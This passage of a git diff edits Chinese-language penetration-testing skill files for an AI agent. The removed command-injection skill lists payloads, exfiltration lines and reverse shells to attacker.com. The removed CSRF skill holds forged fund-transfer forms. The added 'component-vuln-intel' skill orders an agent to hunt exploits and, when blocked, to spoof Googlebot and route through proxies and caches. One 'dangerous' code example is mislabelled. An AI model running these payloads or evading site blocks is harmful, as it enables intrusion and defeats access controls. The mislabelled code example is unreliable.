- 密钥管理不当
|
||||
|
||||
**修复:**
|
||||
- 启用加密
|
||||
- 使用TLS/SSL
|
||||
- 使用密钥管理服务
|
||||
|
||||
### 4. 日志缺失
|
||||
|
||||
**问题:**
|
||||
- 未启用审计日志
|
||||
- 日志未保留
|
||||
- 日志未监控
|
||||
|
||||
**修复:**
|
||||
- 启用CloudTrail/Azure Monitor
|
||||
- 设置日志保留策略
|
||||
- 配置监控告警
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 最小权限
|
||||
|
||||
- 只授予必要权限
|
||||
- 定期审查权限
|
||||
- 使用IAM策略模拟
|
||||
|
||||
### 2. 多层防护
|
||||
|
||||
- 网络层防护
|
||||
- 应用层防护
|
||||
- 数据层防护
|
||||
|
||||
### 3. 监控和告警
|
||||
|
||||
- 启用审计日志
|
||||
- 配置监控告警
|
||||
- 建立事件响应流程
|
||||
|
||||
### 4. 合规性
|
||||
|
||||
- 遵循合规框架
|
||||
- 定期安全审计
|
||||
- 文档化安全策略
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权环境中进行审计
|
||||
- 避免对生产环境造成影响
|
||||
- 注意不同云平台的差异
|
||||
- 定期进行安全审计
|
||||
@@ -1,302 +0,0 @@
|
||||
---
|
||||
name: command-injection-testing
|
||||
description: 命令注入漏洞测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 命令注入漏洞测试
|
||||
|
||||
## 概述
|
||||
|
||||
命令注入是一种通过应用程序执行系统命令的漏洞。当应用程序将用户输入直接传递给系统命令时,攻击者可以执行任意命令。本技能提供命令注入的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
应用程序调用系统命令时,未对用户输入进行充分验证和过滤,导致攻击者可以注入额外的命令。
|
||||
|
||||
**危险代码示例:**
|
||||
```php
|
||||
// PHP
|
||||
system("ping " . $_GET['ip']);
|
||||
|
||||
// Python
|
||||
os.system("ping " + user_input)
|
||||
|
||||
// Node.js
|
||||
child_process.exec("ping " + user_input)
|
||||
```
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别命令执行点
|
||||
|
||||
**常见功能:**
|
||||
- Ping功能
|
||||
- DNS查询
|
||||
- 文件操作
|
||||
- 系统信息
|
||||
- 日志查看
|
||||
- 备份恢复
|
||||
|
||||
### 2. 基础检测
|
||||
|
||||
**测试命令分隔符:**
|
||||
```
|
||||
; # 命令分隔符(Linux/Windows)
|
||||
& # 后台执行(Linux/Windows)
|
||||
| # 管道符(Linux/Windows)
|
||||
&& # 逻辑与(Linux/Windows)
|
||||
|| # 逻辑或(Linux/Windows)
|
||||
` # 命令替换(Linux)
|
||||
$() # 命令替换(Linux)
|
||||
```
|
||||
|
||||
**测试Payload:**
|
||||
```
|
||||
127.0.0.1; id
|
||||
127.0.0.1 && whoami
|
||||
127.0.0.1 | cat /etc/passwd
|
||||
127.0.0.1 `whoami`
|
||||
127.0.0.1 $(whoami)
|
||||
```
|
||||
|
||||
### 3. 盲命令注入
|
||||
|
||||
**时间延迟检测:**
|
||||
```
|
||||
127.0.0.1; sleep 5
|
||||
127.0.0.1 && sleep 5
|
||||
127.0.0.1 | sleep 5
|
||||
```
|
||||
|
||||
**外带数据:**
|
||||
```
|
||||
127.0.0.1; curl http://attacker.com/?$(whoami)
|
||||
127.0.0.1 && wget http://attacker.com/$(cat /etc/passwd)
|
||||
```
|
||||
|
||||
**DNS外带:**
|
||||
```
|
||||
127.0.0.1; nslookup $(whoami).attacker.com
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 基础命令执行
|
||||
|
||||
**Linux:**
|
||||
```
|
||||
; id
|
||||
; whoami
|
||||
; uname -a
|
||||
; cat /etc/passwd
|
||||
; ls -la
|
||||
```
|
||||
|
||||
**Windows:**
|
||||
```
|
||||
& whoami
|
||||
& ipconfig
|
||||
& type C:\Windows\System32\drivers\etc\hosts
|
||||
& dir
|
||||
```
|
||||
|
||||
### 文件操作
|
||||
|
||||
**读取文件:**
|
||||
```
|
||||
; cat /etc/passwd
|
||||
; type C:\Windows\System32\config\sam
|
||||
; head -n 20 /var/log/apache2/access.log
|
||||
```
|
||||
|
||||
**写入文件:**
|
||||
```
|
||||
; echo "<?php phpinfo(); ?>" > /tmp/shell.php
|
||||
; echo "test" > C:\temp\test.txt
|
||||
```
|
||||
|
||||
### 反弹Shell
|
||||
|
||||
**Bash:**
|
||||
```
|
||||
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
|
||||
```
|
||||
|
||||
**Netcat:**
|
||||
```
|
||||
; nc -e /bin/bash attacker.com 4444
|
||||
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f
|
||||
```
|
||||
|
||||
**PowerShell:**
|
||||
```
|
||||
& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 空格绕过
|
||||
|
||||
```
|
||||
${IFS}id
|
||||
${IFS}whoami
|
||||
$IFS$9id
|
||||
<>
|
||||
%09 (Tab)
|
||||
%20 (Space)
|
||||
```
|
||||
|
||||
### 命令分隔符绕过
|
||||
|
||||
**编码绕过:**
|
||||
```
|
||||
%3b (;)
|
||||
%26 (&)
|
||||
%7c (|)
|
||||
```
|
||||
|
||||
**换行绕过:**
|
||||
```
|
||||
%0a (换行)
|
||||
%0d (回车)
|
||||
```
|
||||
|
||||
### 关键字过滤绕过
|
||||
|
||||
**变量拼接:**
|
||||
```bash
|
||||
a=w;b=ho;c=ami;$a$b$c
|
||||
```
|
||||
|
||||
**通配符:**
|
||||
```bash
|
||||
/bin/c?t /etc/passwd
|
||||
/usr/bin/ca* /etc/passwd
|
||||
```
|
||||
|
||||
**引号绕过:**
|
||||
```bash
|
||||
w'h'o'a'm'i
|
||||
w"h"o"a"m"i
|
||||
```
|
||||
|
||||
**反斜杠:**
|
||||
```bash
|
||||
w\ho\am\i
|
||||
```
|
||||
|
||||
**Base64编码:**
|
||||
```bash
|
||||
echo "d2hvYW1p" | base64 -d | bash
|
||||
```
|
||||
|
||||
### 长度限制绕过
|
||||
|
||||
**使用文件:**
|
||||
```bash
|
||||
echo "id" > /tmp/c
|
||||
sh /tmp/c
|
||||
```
|
||||
|
||||
**使用环境变量:**
|
||||
```bash
|
||||
export x='id';$x
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Commix
|
||||
|
||||
```bash
|
||||
# 基础扫描
|
||||
python commix.py -u "http://target.com/ping?ip=127.0.0.1"
|
||||
|
||||
# 指定注入点
|
||||
python commix.py -u "http://target.com/ping?ip=INJECT_HERE" --data="ip=INJECT_HERE"
|
||||
|
||||
# 获取Shell
|
||||
python commix.py -u "http://target.com/ping?ip=127.0.0.1" --os-shell
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
|
||||
1. 拦截请求
|
||||
2. 发送到Intruder
|
||||
3. 使用命令注入Payload列表
|
||||
4. 观察响应或时间延迟
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以执行系统命令
|
||||
2. 验证命令执行结果
|
||||
3. 评估影响(系统控制、数据泄露等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和输入参数
|
||||
- 可执行的命令类型
|
||||
- 完整的利用步骤和POC
|
||||
- 修复建议(输入验证、参数化、白名单等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **避免命令执行**
|
||||
- 使用API替代系统命令
|
||||
- 使用库函数替代命令
|
||||
|
||||
2. **输入验证**
|
||||
```python
|
||||
import re
|
||||
|
||||
def validate_ip(ip):
|
||||
pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
|
||||
if not re.match(pattern, ip):
|
||||
raise ValueError("Invalid IP")
|
||||
parts = ip.split('.')
|
||||
if not all(0 <= int(p) <= 255 for p in parts):
|
||||
raise ValueError("Invalid IP range")
|
||||
return ip
|
||||
```
|
||||
|
||||
3. **参数化命令**
|
||||
```python
|
||||
import subprocess
|
||||
|
||||
# 危险
|
||||
subprocess.call(['ping', '-c', '1', user_input])
|
||||
|
||||
# 安全 - 使用参数列表
|
||||
subprocess.call(['ping', '-c', '1', validated_ip])
|
||||
```
|
||||
|
||||
4. **白名单验证**
|
||||
```python
|
||||
ALLOWED_COMMANDS = ['ping', 'nslookup']
|
||||
ALLOWED_OPTIONS = {'ping': ['-c', '-n']}
|
||||
|
||||
if command not in ALLOWED_COMMANDS:
|
||||
raise ValueError("Command not allowed")
|
||||
```
|
||||
|
||||
5. **最小权限**
|
||||
- 使用低权限用户运行应用
|
||||
- 限制文件系统访问
|
||||
- 使用chroot或容器隔离
|
||||
|
||||
6. **输出过滤**
|
||||
- 限制输出内容
|
||||
- 过滤敏感信息
|
||||
- 记录命令执行日志
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对系统造成破坏
|
||||
- 注意不同操作系统的命令差异
|
||||
- 测试时注意命令执行的影响范围
|
||||
@@ -0,0 +1,64 @@
|
||||
---
|
||||
name: component-vuln-intel
|
||||
description: >-
|
||||
联网情报收集:识别组件后必做CVE/搜索引擎/中文社区/GitHub PoC/资产引擎/即时情报/依赖扩展+受阻换路。Use when a framework/component/version is identified and must search before exploit.
|
||||
tags: [渗透测试, penetration-testing, 红队]
|
||||
---
|
||||
|
||||
## 联网情报收集(识别组件→立即全网搜;结果=线索/tentative,验证前不是 confirmed Fact)
|
||||
|
||||
```
|
||||
🔴一识别出框架/组件/版本 → 必须停本地扫描立即联网(不搜就利用=盲打=违反铁律)。
|
||||
🔴以下序列全部执行(不是选做),用{C}=组件名 {V}=版本替换。每步都用browser_navigate或terminal实际访问:
|
||||
|
||||
1.CVE漏洞库(必做,找已知漏洞):
|
||||
terminal: searchsploit {C} {V}
|
||||
terminal: curl -s "https://cve.circl.lu/api/search/{C}/{V}" | python3 -c "import sys,json;[print(x['id'],x.get('summary','')[:80]) for x in json.load(sys.stdin)[:10]]"
|
||||
browser_navigate: https://github.com/advisories?query={C}+{V}
|
||||
browser_navigate: https://www.cvedetails.com/google-search-results.php?q={C}+{V}&sa=Search
|
||||
|
||||
2.搜索引擎(至少执行3个,找漏洞分析+PoC):
|
||||
browser_navigate: https://www.google.com/search?q={C}+{V}+exploit+PoC+RCE+site:github.com
|
||||
browser_navigate: https://www.google.com/search?q={C}+{V}+漏洞+利用+复现
|
||||
browser_navigate: https://www.baidu.com/s?wd={C}+{V}+漏洞+利用+poc+getshell
|
||||
browser_navigate: https://www.bing.com/search?q={C}+{V}+CVE+exploit+poc
|
||||
browser_navigate: https://duckduckgo.com/?q={C}+{V}+vulnerability+exploit
|
||||
|
||||
3.中文安全社区(必做,中文首发多且深度分析好):
|
||||
browser_navigate: https://xz.aliyun.com/search?keyword={C}+漏洞
|
||||
browser_navigate: https://www.seebug.org/search/?keywords={C}
|
||||
browser_navigate: https://paper.seebug.org/search/?keyword={C}
|
||||
browser_navigate: https://www.freebuf.com/search?search={C}+{V}
|
||||
browser_navigate: https://ti.qianxin.com/vulnerability?keyword={C}
|
||||
browser_navigate: https://www.anquanke.com/search?s={C}
|
||||
|
||||
4.GitHub搜PoC/exploit代码(必做,最直接拿利用代码):
|
||||
terminal: curl -s "https://api.github.com/search/repositories?q={C}+{V}+exploit+OR+poc+OR+CVE&sort=updated&per_page=10" | python3 -c "import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['html_url'],x.get('description','')[:60]) for x in d.get('items',[])]"
|
||||
terminal: curl -s "https://api.github.com/search/code?q={C}+RCE+OR+shell+OR+exploit+language:python&per_page=5" | python3 -c "import sys,json;d=json.load(sys.stdin);[print(x['html_url']) for x in d.get('items',[])]"
|
||||
terminal: curl -s "https://api.github.com/search/repositories?q={C}+CVE&sort=stars&per_page=5" | python3 -c "import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['stargazers_count'],'★',x.get('description','')[:50]) for x in d.get('items',[])]"
|
||||
找到仓库后: curl -s "https://api.github.com/repos/{owner}/{repo}/readme" | python3 -c "import sys,json,base64;print(base64.b64decode(json.load(sys.stdin)['content']).decode())"
|
||||
|
||||
5.资产引擎(找同类目标/暴露面):
|
||||
browser_navigate: https://fofa.info/result?qbase64=$(echo -n 'app="{C}"' | base64)
|
||||
browser_navigate: https://www.shodan.io/search?query={C}+{V}
|
||||
browser_navigate: https://www.zoomeye.org/searchResult?q={C}
|
||||
browser_navigate: https://search.censys.io/search?resource=hosts&q=services.software.product:{C}
|
||||
|
||||
6.即时情报(最新0day/在野利用):
|
||||
browser_navigate: https://x.com/search?q={C}+CVE+OR+0day+OR+exploit&f=live
|
||||
browser_navigate: https://www.reddit.com/r/netsec/search/?q={C}&sort=new&t=month
|
||||
browser_navigate: https://www.exploit-db.com/search?q={C}
|
||||
|
||||
7.扩展链(必做): 搜完{C}后,提取其依赖清单(package.json/pom.xml/requirements.txt/go.mod)→对每个依赖重复1-6
|
||||
|
||||
🔴搜索受阻处理序列(碰到403/验证码/空结果/超时→按序执行不放弃):
|
||||
①换UA: curl -H "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" "{URL}"
|
||||
②Jina读取器: browser_navigate: https://r.jina.ai/{原始URL}
|
||||
③Google缓存: browser_navigate: https://webcache.googleusercontent.com/search?q=cache:{域名}+{关键词}
|
||||
④Archive: browser_navigate: https://web.archive.org/web/{URL}
|
||||
⑤GitHub API替代(GitHub页面拦但API不拦): 用上面第4步的curl命令
|
||||
⑥换引擎: Google拦→执行Bing/DuckDuckGo/百度; 百度拦→执行Google/Bing
|
||||
⑦走代理: 按 `proxy-tool-bootstrap` 序列获取SOCKS5代理后重试
|
||||
全部受阻仍无结果→写负Fact"已搜{C} {V}全渠道无公开漏洞"→转 `zero-day-discovery`
|
||||
```
|
||||
|
||||
@@ -1,377 +0,0 @@
|
||||
---
|
||||
name: container-security-testing
|
||||
description: 容器安全测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 容器安全测试
|
||||
|
||||
## 概述
|
||||
|
||||
容器安全测试是确保容器化应用安全性的重要环节。本技能提供容器安全测试的方法、工具和最佳实践,涵盖Docker、Kubernetes等容器技术。
|
||||
|
||||
## 测试范围
|
||||
|
||||
### 1. 镜像安全
|
||||
|
||||
**检查项目:**
|
||||
- 基础镜像漏洞
|
||||
- 依赖包漏洞
|
||||
- 镜像配置
|
||||
- 敏感信息
|
||||
|
||||
### 2. 运行时安全
|
||||
|
||||
**检查项目:**
|
||||
- 容器权限
|
||||
- 资源限制
|
||||
- 网络隔离
|
||||
- 文件系统
|
||||
|
||||
### 3. 编排安全
|
||||
|
||||
**检查项目:**
|
||||
- Kubernetes配置
|
||||
- 服务账户
|
||||
- RBAC
|
||||
- 网络策略
|
||||
|
||||
## Docker安全测试
|
||||
|
||||
### 镜像扫描
|
||||
|
||||
**使用Trivy:**
|
||||
```bash
|
||||
# 扫描镜像
|
||||
trivy image nginx:latest
|
||||
|
||||
# 扫描本地镜像
|
||||
trivy image --input nginx.tar
|
||||
|
||||
# 只显示高危漏洞
|
||||
trivy image --severity HIGH,CRITICAL nginx:latest
|
||||
```
|
||||
|
||||
**使用Clair:**
|
||||
```bash
|
||||
# 启动Clair
|
||||
docker run -d --name clair clair:latest
|
||||
|
||||
# 扫描镜像
|
||||
clair-scanner --ip 192.168.1.100 nginx:latest
|
||||
```
|
||||
|
||||
**使用Docker Bench:**
|
||||
```bash
|
||||
# 运行Docker安全基准测试
|
||||
docker run --rm --net host --pid host --userns host --cap-add audit_control \
|
||||
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
|
||||
-v /etc:/etc:ro \
|
||||
-v /usr/bin/containerd:/usr/bin/containerd:ro \
|
||||
-v /usr/bin/runc:/usr/bin/runc:ro \
|
||||
-v /usr/lib/systemd:/usr/lib/systemd:ro \
|
||||
-v /var/lib:/var/lib:ro \
|
||||
-v /var/run/docker.sock:/var/run/docker.sock:ro \
|
||||
--label docker_bench_security \
|
||||
docker/docker-bench-security
|
||||
```
|
||||
|
||||
### 容器配置检查
|
||||
|
||||
**检查Dockerfile:**
|
||||
```dockerfile
|
||||
# 安全问题示例
|
||||
FROM ubuntu:latest # 使用latest标签
|
||||
RUN apt-get update && apt-get install -y curl # 未指定版本
|
||||
COPY . /app # 可能包含敏感文件
|
||||
ENV PASSWORD=secret # 硬编码密码
|
||||
USER root # 使用root用户
|
||||
```
|
||||
|
||||
**安全最佳实践:**
|
||||
```dockerfile
|
||||
# 使用特定版本
|
||||
FROM ubuntu:20.04
|
||||
|
||||
# 指定包版本
|
||||
RUN apt-get update && apt-get install -y curl=7.68.0-1ubuntu2.7
|
||||
|
||||
# 使用非root用户
|
||||
RUN useradd -m appuser
|
||||
USER appuser
|
||||
|
||||
# 最小化镜像
|
||||
FROM alpine:3.15
|
||||
|
||||
# 多阶段构建
|
||||
FROM golang:1.18 AS builder
|
||||
WORKDIR /app
|
||||
COPY . .
|
||||
RUN go build -o app
|
||||
|
||||
FROM alpine:3.15
|
||||
COPY --from=builder /app/app /app
|
||||
```
|
||||
|
||||
### 运行时检查
|
||||
|
||||
**检查容器权限:**
|
||||
```bash
|
||||
# 检查特权容器
|
||||
docker ps --filter "label=privileged=true"
|
||||
|
||||
# 检查挂载的主机目录
|
||||
docker inspect container_name | grep -A 10 Mounts
|
||||
|
||||
# 检查容器网络
|
||||
docker network inspect network_name
|
||||
```
|
||||
|
||||
**检查资源限制:**
|
||||
```bash
|
||||
# 检查内存限制
|
||||
docker stats container_name
|
||||
|
||||
# 检查CPU限制
|
||||
docker inspect container_name | grep -i cpu
|
||||
```
|
||||
|
||||
## Kubernetes安全测试
|
||||
|
||||
### 配置检查
|
||||
|
||||
**使用kube-bench:**
|
||||
```bash
|
||||
# 运行kube-bench
|
||||
kube-bench run
|
||||
|
||||
# 检查特定基准
|
||||
kube-bench run --targets master,node,etcd
|
||||
```
|
||||
|
||||
**使用kube-hunter:**
|
||||
```bash
|
||||
# 运行kube-hunter
|
||||
kube-hunter --remote target-ip
|
||||
|
||||
# 主动模式
|
||||
kube-hunter --active
|
||||
```
|
||||
|
||||
### Pod安全
|
||||
|
||||
**检查Pod安全策略:**
|
||||
```yaml
|
||||
# 不安全的Pod配置
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: app
|
||||
image: nginx
|
||||
securityContext:
|
||||
privileged: true # 特权模式
|
||||
runAsUser: 0 # root用户
|
||||
```
|
||||
|
||||
**安全配置:**
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
runAsUser: 1000
|
||||
fsGroup: 2000
|
||||
containers:
|
||||
- name: app
|
||||
image: nginx
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: false
|
||||
readOnlyRootFilesystem: true
|
||||
capabilities:
|
||||
drop:
|
||||
- ALL
|
||||
add:
|
||||
- NET_BIND_SERVICE
|
||||
```
|
||||
|
||||
### RBAC检查
|
||||
|
||||
**检查角色权限:**
|
||||
```bash
|
||||
# 列出所有角色
|
||||
kubectl get roles --all-namespaces
|
||||
|
||||
# 检查角色绑定
|
||||
kubectl get rolebindings --all-namespaces
|
||||
|
||||
# 检查集群角色
|
||||
kubectl get clusterroles
|
||||
|
||||
# 检查用户权限
|
||||
kubectl auth can-i --list --as=system:serviceaccount:default:sa-name
|
||||
```
|
||||
|
||||
**常见问题:**
|
||||
- 过度权限
|
||||
- 未使用的角色
|
||||
- 未使用的服务账户
|
||||
|
||||
### 网络策略
|
||||
|
||||
**检查网络策略:**
|
||||
```bash
|
||||
# 列出所有网络策略
|
||||
kubectl get networkpolicies --all-namespaces
|
||||
|
||||
# 检查网络策略配置
|
||||
kubectl describe networkpolicy policy-name -n namespace
|
||||
```
|
||||
|
||||
**网络策略示例:**
|
||||
```yaml
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: NetworkPolicy
|
||||
metadata:
|
||||
name: default-deny
|
||||
spec:
|
||||
podSelector: {}
|
||||
policyTypes:
|
||||
- Ingress
|
||||
- Egress
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Falco
|
||||
|
||||
**运行时安全监控:**
|
||||
```bash
|
||||
# 安装Falco
|
||||
helm repo add falcosecurity https://falcosecurity.github.io/charts
|
||||
helm install falco falcosecurity/falco
|
||||
|
||||
# 检查规则
|
||||
falco -r /etc/falco/rules.d/
|
||||
```
|
||||
|
||||
### Aqua Security
|
||||
|
||||
```bash
|
||||
# 扫描镜像
|
||||
aqua image scan nginx:latest
|
||||
|
||||
# 扫描Kubernetes集群
|
||||
aqua k8s scan
|
||||
```
|
||||
|
||||
### Snyk
|
||||
|
||||
```bash
|
||||
# 扫描Dockerfile
|
||||
snyk test --docker nginx:latest
|
||||
|
||||
# 扫描Kubernetes配置
|
||||
snyk iac test k8s/
|
||||
```
|
||||
|
||||
## 测试清单
|
||||
|
||||
### 镜像安全
|
||||
- [ ] 扫描基础镜像漏洞
|
||||
- [ ] 扫描依赖包漏洞
|
||||
- [ ] 检查Dockerfile配置
|
||||
- [ ] 检查敏感信息泄露
|
||||
|
||||
### 运行时安全
|
||||
- [ ] 检查容器权限
|
||||
- [ ] 检查资源限制
|
||||
- [ ] 检查网络隔离
|
||||
- [ ] 检查文件系统挂载
|
||||
|
||||
### 编排安全
|
||||
- [ ] 检查Kubernetes配置
|
||||
- [ ] 检查RBAC配置
|
||||
- [ ] 检查网络策略
|
||||
- [ ] 检查Pod安全策略
|
||||
|
||||
## 常见安全问题
|
||||
|
||||
### 1. 镜像漏洞
|
||||
|
||||
**问题:**
|
||||
- 基础镜像包含漏洞
|
||||
- 依赖包包含漏洞
|
||||
- 未及时更新
|
||||
|
||||
**修复:**
|
||||
- 定期扫描镜像
|
||||
- 及时更新基础镜像
|
||||
- 使用最小化镜像
|
||||
|
||||
### 2. 过度权限
|
||||
|
||||
**问题:**
|
||||
- 容器以root运行
|
||||
- 特权模式
|
||||
- 挂载敏感目录
|
||||
|
||||
**修复:**
|
||||
- 使用非root用户
|
||||
- 禁用特权模式
|
||||
- 限制文件系统访问
|
||||
|
||||
### 3. 配置错误
|
||||
|
||||
**问题:**
|
||||
- 默认配置不安全
|
||||
- 网络策略缺失
|
||||
- RBAC配置错误
|
||||
|
||||
**修复:**
|
||||
- 遵循安全最佳实践
|
||||
- 实施网络策略
|
||||
- 正确配置RBAC
|
||||
|
||||
### 4. 敏感信息泄露
|
||||
|
||||
**问题:**
|
||||
- 镜像包含密钥
|
||||
- 环境变量暴露
|
||||
- 配置文件泄露
|
||||
|
||||
**修复:**
|
||||
- 使用密钥管理
|
||||
- 避免硬编码
|
||||
- 使用Secret对象
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 镜像安全
|
||||
|
||||
- 使用官方基础镜像
|
||||
- 定期更新镜像
|
||||
- 扫描镜像漏洞
|
||||
- 最小化镜像大小
|
||||
|
||||
### 2. 运行时安全
|
||||
|
||||
- 使用非root用户
|
||||
- 限制容器权限
|
||||
- 实施资源限制
|
||||
- 启用安全上下文
|
||||
|
||||
### 3. 编排安全
|
||||
|
||||
- 配置网络策略
|
||||
- 实施RBAC
|
||||
- 使用Pod安全策略
|
||||
- 启用审计日志
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权环境中进行测试
|
||||
- 避免对生产环境造成影响
|
||||
- 注意不同容器平台的差异
|
||||
- 定期进行安全扫描
|
||||
@@ -1,199 +0,0 @@
|
||||
---
|
||||
name: csrf-testing
|
||||
description: CSRF跨站请求伪造测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# CSRF跨站请求伪造测试
|
||||
|
||||
## 概述
|
||||
|
||||
CSRF(Cross-Site Request Forgery)是一种利用用户已登录状态进行未授权操作的攻击方式。本技能提供CSRF漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
- 攻击者诱导用户访问恶意页面
|
||||
- 恶意页面自动发送请求到目标网站
|
||||
- 浏览器自动携带用户的认证信息(Cookie、Session)
|
||||
- 目标网站误认为是用户合法操作
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别敏感操作
|
||||
|
||||
- 密码修改
|
||||
- 邮箱修改
|
||||
- 转账操作
|
||||
- 权限变更
|
||||
- 数据删除
|
||||
- 状态更新
|
||||
|
||||
### 2. 检测CSRF Token
|
||||
|
||||
**检查是否有Token保护:**
|
||||
```html
|
||||
<!-- 有Token保护 -->
|
||||
<form method="POST" action="/change-password">
|
||||
<input type="hidden" name="csrf_token" value="abc123">
|
||||
<input type="password" name="new_password">
|
||||
</form>
|
||||
|
||||
<!-- 无Token保护 - 存在CSRF风险 -->
|
||||
<form method="POST" action="/change-email">
|
||||
<input type="email" name="new_email">
|
||||
</form>
|
||||
```
|
||||
|
||||
### 3. 验证Token有效性
|
||||
|
||||
**测试Token是否可预测:**
|
||||
- Token是否基于时间戳
|
||||
- Token是否基于用户ID
|
||||
- Token是否可重复使用
|
||||
- Token是否在多个请求间共享
|
||||
|
||||
### 4. 检查Referer验证
|
||||
|
||||
**测试Referer检查是否可绕过:**
|
||||
```javascript
|
||||
// 正常请求
|
||||
Referer: https://target.com/change-password
|
||||
|
||||
// 测试绕过
|
||||
Referer: https://target.com.evil.com
|
||||
Referer: https://evil.com/?target.com
|
||||
Referer: (空)
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 基础CSRF攻击
|
||||
|
||||
**HTML表单自动提交:**
|
||||
```html
|
||||
<form action="https://target.com/api/transfer" method="POST" id="csrf">
|
||||
<input type="hidden" name="to" value="attacker_account">
|
||||
<input type="hidden" name="amount" value="10000">
|
||||
</form>
|
||||
<script>document.getElementById('csrf').submit();</script>
|
||||
```
|
||||
|
||||
### JSON CSRF
|
||||
|
||||
**绕过Content-Type检查:**
|
||||
```html
|
||||
<!-- 使用form表单提交JSON -->
|
||||
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
|
||||
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
|
||||
</form>
|
||||
<script>document.forms[0].submit();</script>
|
||||
```
|
||||
|
||||
### GET请求CSRF
|
||||
|
||||
**利用GET请求进行攻击:**
|
||||
```html
|
||||
<img src="https://target.com/api/delete?id=123">
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### Token绕过
|
||||
|
||||
**如果Token在Cookie中:**
|
||||
```javascript
|
||||
// 如果Token同时存在于Cookie和表单中
|
||||
// 可以尝试只提交Cookie中的Token
|
||||
fetch('https://target.com/api/action', {
|
||||
method: 'POST',
|
||||
credentials: 'include',
|
||||
body: 'action=delete&id=123'
|
||||
// 不包含csrf_token参数,依赖Cookie
|
||||
});
|
||||
```
|
||||
|
||||
### SameSite Cookie绕过
|
||||
|
||||
**利用子域名:**
|
||||
- 如果SameSite=Lax,GET请求仍可携带Cookie
|
||||
- 利用子域名进行攻击
|
||||
|
||||
### 双重提交Cookie
|
||||
|
||||
**绕过Token验证:**
|
||||
```html
|
||||
<!-- 如果Token在Cookie中,且验证逻辑有缺陷 -->
|
||||
<form action="https://target.com/api/action" method="POST">
|
||||
<input type="hidden" name="csrf_token" value="">
|
||||
<script>
|
||||
// 从Cookie中读取Token
|
||||
document.cookie.split(';').forEach(c => {
|
||||
if(c.trim().startsWith('csrf_token=')) {
|
||||
document.querySelector('input[name="csrf_token"]').value =
|
||||
c.split('=')[1];
|
||||
}
|
||||
});
|
||||
</script>
|
||||
</form>
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Burp Suite
|
||||
|
||||
**使用CSRF PoC生成器:**
|
||||
1. 拦截目标请求
|
||||
2. 右键 → Engagement tools → Generate CSRF PoC
|
||||
3. 测试生成的PoC
|
||||
|
||||
### OWASP ZAP
|
||||
|
||||
```bash
|
||||
# 使用ZAP进行CSRF扫描
|
||||
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认目标操作没有CSRF Token保护
|
||||
2. 构造恶意请求并验证可执行
|
||||
3. 评估影响(数据泄露、权限提升、资金损失等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和受影响的操作
|
||||
- 攻击场景和影响范围
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(CSRF Token、SameSite Cookie、Referer验证等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **CSRF Token**
|
||||
- 每个表单包含唯一Token
|
||||
- Token存储在Session中
|
||||
- 验证Token有效性
|
||||
|
||||
2. **SameSite Cookie**
|
||||
```javascript
|
||||
Set-Cookie: session=abc123; SameSite=Strict; Secure
|
||||
```
|
||||
|
||||
3. **双重提交Cookie**
|
||||
- Token同时存在于Cookie和表单
|
||||
- 验证两者是否匹配
|
||||
|
||||
4. **Referer验证**
